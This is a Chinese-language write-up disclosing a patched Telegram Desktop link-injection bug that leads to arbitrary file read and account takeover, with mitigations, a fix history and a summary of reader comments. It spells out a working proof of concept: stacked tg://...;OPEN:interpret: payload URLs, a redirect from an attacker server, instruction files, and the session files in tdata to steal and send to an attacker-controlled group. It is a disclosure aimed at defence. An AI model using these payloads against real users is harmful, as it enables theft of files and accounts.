有人把你拉进电报(Telegram)群组,聊天出现链接,点击后,你的 Telegram 账号就不再只属于你。电报桌面版(Telegram Desktop)经本地套接字把链接以纯文本交给已运行实例,且不转义命令分隔符,使链接成多条指令。该链条有两个缺陷:一是注入;二是被注入命令触及内部 URI 方案 interpret:,读取指令文件指定的文件并发到聊天,既不检查请求者也不确认。二者将点击链接变成任意文件读取。
正文
简介
有人把你拉进一个 Telegram 群组,聊天里出现一条链接。你点了它,你的 Telegram 账号就不再只属于你一个人了。
怎么会这样?Telegram Desktop 会把点击到的链接通过本地套接字交给已经运行的自身实例,以文本形式传递,而且从未转义它用来分隔命令的字符。因此,一条精心构造的链接不会作为一条指令抵达,而是作为多条指令抵达。
我发现的漏洞链包含两个缺陷。第一个是上述注入。第二个是被注入命令所触及的内部 URI 方案 interpret::它读取指令文件中指定的文件,并发送到某个聊天,既不检查是谁要求的,也不弹确认框。两者结合,把一次链接点击变成了任意文件读取。下面我会走一遍这条漏洞链,并用它窃取受害者的登录文件。
影响版本 Telegram Desktop 7.2.8 及更早版本,已在 Windows(6.9.3)上确认
影响 远程任意本地文件读取,并外泄到攻击者控制的聊天;账号接管
CVE CVE-2026-107181
修复版本 7.2.9,提交 db3405699f
严重性 8.1 High,CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
一个链接,两个进程
操作系统允许程序注册 URI 方案,这样遇到某类链接时系统就知道该启动哪个应用。Telegram Desktop 注册了 tg。从此系统知道 tg://... 链接属于 Telegram,并带上该 URL 作为命令行参数来启动它。
如果 Telegram 没在运行,进程启动后把该字符串当作参数,转成 URL 对象并在内部处理:只有一个进程,不需要通信。
但如果 Telegram 已经在运行呢?操作系统并不知道也不检查:它照样启动一个新进程,和第一个完全相同。Telegram 必须自己判断出它是多余的那个,判断方法是尝试连接一个本地套接字。
已经运行的实例是服务端:它从启动起就在该套接字上监听。新进程是客户端。如果它能连上,说明已有实例存活,于是它把链接交出去然后退出。
套接字不传送对象,只传送字节。新进程内存里的 URL 对象无法穿过这个通道,因此必须被压平(flatten)成一行文本。
这个操作叫序列化(serialization)。它的逆操作,即从文本重建对象,叫反序列化(deserialization)。只要结构化数据要跨越边界,这两者就不可避免,而且正是在这两步中,数据内部的边界不再由结构持有,而是变成了文本里的字符。
Telegram 用自己的一种简单格式来做这件事。每条指令是:一个关键字,接着它的参数,再接着一个分号来闭合。打开一个链接会变成:
OPEN:tg://x?a=1;
tg://x?a=1 在 Telegram 内部匹配不到任何处理器,所以单看这条链接什么也不做,它只是一个载体。
这行文本是在 sandbox.cpp 的 295–297 行附近,为每个待打开的 URL 构造出来的:
commands += u"OPEN:"_q + url.toString(QUrl::FullyEncoded) + ';';
在另一端,运行中的实例进行反序列化:它读取收到的字节,在每个分号处切分,并把每一段都当作独立指令。对于每段以 OPEN: 开头的,它取出后面的内容并重新构造为 URL,就像它刚从命令行传来一样(sandbox.cpp 的 453–463 行附近,代码有省略)。
未转义的分隔符
那么,如果被传输的值里自带一个分号,也就是该格式用作分隔符的那个字符,会发生什么?拿之前的链接,往里加一点东西:
tg://x?a=1;CMD:quit
新进程把它当成单个 URL,因为对它来说那个分号只是查询字符串里的一个普通字符。它把它压平并写入套接字:
OPEN:tg://x?a=1;CMD:quit;
运行中的实例在每个分号处切分,于是得到两条指令而不是一条:
OPEN:tg://x?a=1
CMD:quit
这就是注入,也是两个缺陷中的第一个。
interpret: URI 方案
上面的例子注入了 CMD:,但别被名字误导:它只接受 show 和 quit,所以最坏也只是关掉应用。
总共接受四条命令,其中三条无害。第四条是 OPEN:,而细节就在这里:它接受任意 URL,且不对方案做任何过滤。
翻代码会发现 Telegram 内部还有另一个 URI 方案,叫 interpret:。
操作系统不知道该怎么处理以 interpret: 开头的链接,因为它没有在任何地方注册为协议处理器:它只存在于 Telegram 自己的代码里,像其他起始 URL 一样从 start-URL 列表里被捡起来(application.cpp 的 1162–1164 行)。
于是通过 OPEN: 就能触达它:
tg://x?a=1;OPEN:interpret:instructions.txt
那 interpret: 是干什么的?
它曾是 Telegram 用来发布自己版本的工具。新版本发布时,构建产物必须带更新日志作为说明文字发到某个频道。为了不手动做这件事,一个脚本会写一个小的文本文件,指明频道、要发送的文件和要写的文字,然后用该文件的路径启动 Telegram(Telegram/build/updates.py:206,通过 interpret:// 调用)。
指令文件里包含类似这样的内容:from: 1234567890、channel: 1987654321、file: out/Release/deploy/6.9.3/tsetup.6.9.3.exe、caption: TDesktop at 12.06.26: 加上更新日志。
from: 的值会和当前登录账号的 id 比较:这能防止操作员用错账号发版本。该检查只在这一行存在时才运行,所以省略它就能完全跳过检查。目的地只由 channel: 设定,且必须是频道或超级群组。
具体工作由 InterpretSendPath 函数完成。
那么 bug 在哪?interpret: 执行的是特权操作:从磁盘读取任意文件并发送到聊天,不向任何人确认,也不检查是谁要求的。该函数没有做授权检查(support_helper.cpp 的 673–680 行,打开文件并读取全部内容)。
当它来自命令行时,也就是发布脚本调用它的方式,这不是问题:攻击者需要已经在机器上有立足点,而有立足点他们自己就能读文件。但一旦同样的动作能通过套接字、进而通过注入触达,这个危险函数就变得只需受害者点击一个链接即可触发。
这就是缺失的授权,也是两个缺陷中的第二个。
把指令文件放到磁盘上
如果攻击者能在受害者磁盘上放一个指令文件,让 file: 指向值得窃取的路径,channel: 指向自己的频道,那么只需一次链接点击,就能从那台机器上外泄任意文件。
那攻击者怎么把文本文件放到别人磁盘上一个可预测的路径?显然的办法是作为聊天附件发送。
巧的是,Telegram Desktop 默认配置下会自动下载群组中收到的 8 MiB 以内文件;而在广播频道中自动下载是关闭的。文件会落到一个标准文件夹,使用发送者选择的同名,受害者根本不需要点击,而且位置可预测(如果文件名冲突,Telegram 会存成 instructions1 (2).txt)。某些格式,比如贴纸、GIF 和语音消息,会进入内部缓存,无法作为磁盘路径触达。
Telegram 自己构造那个路径(file_utilities.cpp 的 172–181 行)。在 Windows 上是:
C:\Users\<user>\Downloads\Telegram Desktop\<file name>
通过把文件发进群组,攻击者就知道它会被存到哪里。路径里似乎还有一个未知数:Windows 用户名。但 interpret: 也接受相对路径,而相对路径是从 Telegram 自己的工作目录解析的,也就是它的数据文件夹(logs.cpp:381)。在 Windows 上那是 %APPDATA%\Telegram Desktop,位于用户家目录下三级,而 Downloads 就在家目录里。所以像下面这样的路径:
interpret:../../../Downloads/Telegram%20Desktop/instructions.txt
让攻击者得到了确定性路径,根本不需要知道用户名。
从文件读取到账号接管
InterpretSendPath 每次调用只发送一个文件:如果指令文件里有多个 file: 行,只有最后一行生效。有两件事打破了这个限制。首先,攻击者想发多少指令文件就发多少;其次,注入不会停在第一个命令:每个分号都会再开一条。因此三个目标,就是三个指令文件,以及一个链接里堆叠的三条命令。
tg://x?a=1;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions1.txt;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions2.txt;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions3.txt
原始能力始终是同一个:任意文件读取。变的是你读什么:SSH 私钥、浏览器密码库、云凭据文件,或者保存 API token 的配置。
Telegram 不会把本地数据明文存放,所以用户在磁盘上持有的一切都是加密的,包括会话授权。那是客户端用来向 Telegram 服务器标识自己的密钥,持有它就足以成为那个账号,很像网站上的会话 cookie。
Telegram 使用密钥包装(key wrapping)。涉及两个密钥。第一个是 DEK(Data Encryption Key,数据加密密钥),长、随机、高熵,用来加密用户数据。第二个是 KEK(Key Encryption Key,密钥加密密钥),只加密 DEK;它不是密码,而是通过密钥派生函数(KDF)结合存在加密 DEK 旁边的 salt 从密码派生出来的。
用伪代码表示,打开本地数据的链大概是这样:
salt, encrypted_DEK = read("tdata/key_datas")
passcode = user_passcode() # 如果没设置就是空
KEK = KDF(passcode, salt)
DEK = decrypt(encrypted_DEK, KEK)
session = decrypt(authorization_file, DEK)
默认情况下 Telegram Desktop 没有本地密码:你得打开设置并设一个。没设的话,喂给派生函数的密码就是空(storage_domain.cpp:102),于是 KEK 由空字符串和一个 salt 算出,而那个 salt 就明文存在 tdata/key_datas 里,也就是存加密 DEK 的同一个文件。读这单个文件就足以重算 KEK 并解开 DEK。
所以没设本地密码时,谁拿到 key_datas 谁就拿到 DEK,而有了 DEK,其他一切都能解密,包括会话授权。
涉及三个文件,其中只有两个存有秘密:它们位于 tdata/ 目录下,key_datas 保存 salt 和加密后的 DEK;D877F783D5D3EF8Cs 保存用 DEK 加密的 MTProto 授权;D877F783D5D3EF8C/maps 是账号存储数据的索引。
那个文件夹名不是随机的,也不是每台机器特有的。它由字符串 data(默认数据名)派生而来(storagefileutilities.cpp 的 241–250 行),在每次安装上都完全相同。
第三个文件是索引,不含秘密。但没有它会话仍然加载不了:Telegram 只在读取该索引时读取授权。不过偷它只是个选择:攻击者也可以自己重建。在这个概念验证里,为了方便,只是把它和另外两个一起顺走。
由此可知,拿到这三个文件的攻击者就掌握了账号:把它们放进一个全新的 tdata,启动 Telegram,受害者的会话就打开了。
投递链接
攻击需要受害者点一次链接,而且必须来自 Telegram 外部。在 Telegram 聊天里点击的 tg:// 链接是在进程内处理的(clickhandlertypes.cpp:278),永远到不了套接字,因此没有可注入的东西。另一方面,普通 https 链接会在系统浏览器中打开(ui_integration.cpp:437),因为 Telegram Desktop 没有内嵌浏览器。所以攻击者发一个普通的 https 链接,让自己的服务器把它重定向到精心构造的 tg:// 链接。
例如,攻击者服务器收到 GET /rules HTTP/1.1(Host: corvus.sec)后,返回 HTTP/1.1 302 Found 和 Location: tg://x?a=1;OPEN:interpret:instructions.txt。
根据浏览器、以及受害者是否用过该处理器,系统可能会在启动 Telegram 前要求确认。
概念验证
攻击者创建一个超级群组,把受害者拉进去。Telegram 的默认隐私设置允许这样做,且不需要被邀请者确认。
攻击者在该群组里发布三个指令文本文件,每个对应一个要偷的文件,全部把目的地填成攻击者自己的群组。省略
from:行即可完全跳过账号检查;以窃取tdata/key_datas为例,内容为:channel: 2001234567、file: tdata/key_datas、caption: poc。文件必须是纯文本、LF 换行、无字节顺序标记(BOM)。另外两个分别指向tdata/D877F783D5D3EF8Cs和tdata/D877F783D5D3EF8C/maps。受害者打开群组时,自动下载会把三个文件都存到受害者磁盘上;而他们本来就会打开群组,因为第 3 步的链接正在那里等着。攻击者往聊天里发一个无害链接:
https://corvus.sec/rules受害者点击它。浏览器跟随重定向,这次重定向为每个目标携带一条命令(下面为便于阅读换行,实际作为单行发送):
tg://x?a=1;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions1.txt;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions2.txt;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions3.txt
操作系统启动第二个 Telegram 进程,它通过套接字把 URL 转发给正在运行的那个。未转义的分号把它切开,注入触发。
三条
interpret:命令执行,三个文件被上传到攻击者的群组。没有显示任何确认对话框。攻击者用这三个文件重建
tdata,打开受害者的账号。
缓解措施
- 升级到 7.2.9 或更高版本。 这是唯一真正关掉该问题的办法,其余只是降低暴露面。
- 开启“询问每个文件的保存位置”。 开启后自动下载完全不会发生,指令文件也就永远不会落到磁盘上。这是除升级之外最有效的缓解措施。
- 把“允许将我加入群组”限制为仅联系人。 被盗文件只能发送到频道或超级群组,因此这会拿走攻击者用来接收文件的去处。
- 设置本地密码,并像设置真实密码一样选择它。 它不能阻止文件被窃,只能让被盗的会话无法使用。
修复
该问题在 2026 年 9 月 16 日由提交 db3405699f 修复。更新日志把 7.2.9 标为同一天;发布是在次日早晨。该提交彻底删除了 interpret:// 方案和 Support::InterpretSendPath,并在单实例套接字上转义了记录分隔符:值在写入前用百分号前缀的十六进制编码转义,在切分后解码,因此数据里的分号不再能成为边界。
此外还增加了两项措施:当同一连接携带 OPEN: 时,CMD: 和 CTRL: 记录会被跳过;一旦该连接上出现过非本地 URL,本地文件路径就会被丢弃。
时间线
| 日期 | 事件 |
| --- | --- |
| 2026-06-25 | 通过 ZDI 报告 |
| 2026-09-16 | 厂商独立修复问题,提交 db3405699f |
| 2026-09-17 | Telegram Desktop 7.2.9 发布 |
| 2026-09-30 | ZDI 以已修复结案;披露权归还作者 |
| 2026-10-03 | 发布此篇漏洞分析 writeup |
| 2026-10-07 | 分配 CVE-2026-107181 |
修复悄无声息地发布:7.2.9 的更新日志只提到一个渲染修复,关闭该漏洞链的提交标题是“Remove legacy interpret path helper”,且没有随附任何公告。
评论
多数人借此次漏洞重申 Telegram 在设计上就不安全,认为其手机号绑定与默认关闭二次验证的账号体系本就脆弱。分歧主轴在于:该追责 Telegram 为发版而主动加入的“可上传任意文件”内部功能,还是现代桌面系统默认允许任意进程读写用户文件、缺乏沙箱隔离;部分用户并主张用 jail、firejail 沙箱或网页版来规避风险。
认为漏洞源于 Telegram 主动加入的“任意文件上传”内部功能
- 点击 Telegram Desktop 链接不仅能接管账号,还能窃取磁盘上任意用户可访问文件;根源是官方为在频道发布版本而添加的内部 URL 机制,它会按指令上传任意文件——别人用脚本就能发版,Telegram 却专门做了这个危险功能,只是利用方式较绕才显得不直观。(高赞) > Telegram 开发者为了在自家频道发布版本,专门加了一个“让它上传什么就上传什么”的内部工具;别人用脚本就能做的事,他们非得这么做。(@g-b-r)
认为 Telegram 在设计上就不安全,账号与手机号绑定的体系十分脆弱
- Telegram 多年前就被指出不安全,从来不是“非常安全”;账号与手机号强绑定,号码一旦失控,他人就能获得账号全部内容,且云密码(二次验证)默认关闭,即便开启,攻击者仍能直接删除账号,因此把这类服务视为安全很可笑。(较多人) > 一个和手机号绑定的服务,居然被认为安全,这很可笑;哪怕设了二次验证(默认关闭),对方还是能直接把账号删掉。(@anon_cow1111)
认为根源是现代桌面系统缺乏进程隔离,而非 Telegram 独有漏洞
- 严格说这不是 Telegram 独有的漏洞,而是现代桌面操作系统的通病:任意用户进程都能读写该用户的文件。理想情况下程序应被隔离,只能访问自己的文件以及按程序划分的数据目录(如浏览器或 Telegram 客户端的下载目录)。(少数人) > 严格来说这不是 Telegram 特有的漏洞,而是现代桌面操作系统允许任意用户进程读写用户文件的通病。(@Panzerschrek)
主张用沙箱、jail 或网页版来隔离并规避桌面客户端风险
- 不应信任桌面端:可在 Linux 上用 firejail 等沙箱把应用限制为仅访问下载目录,且不在其中长期存放文件;也可在 FreeBSD 上用 jail 隔离 Telegram;还有人因此更不愿在 Windows 上安装任何软件,认为网页版往往已足够。(较多人) > 我在 Linux 上用 firejail 把 Firefox 关进沙箱,只让浏览器访问下载目录,且不在那里长期存放文件。(@usr1106)
有价值的补充
- 在 FreeBSD 上可通过 doas 调用 jexec,在名为 tellyjail 的 jail 中以低权限用户(如 opengrass)运行 Telegram,并配合 DISPLAY 转发,把它的文件访问限制在隔离环境内。(@opengrass)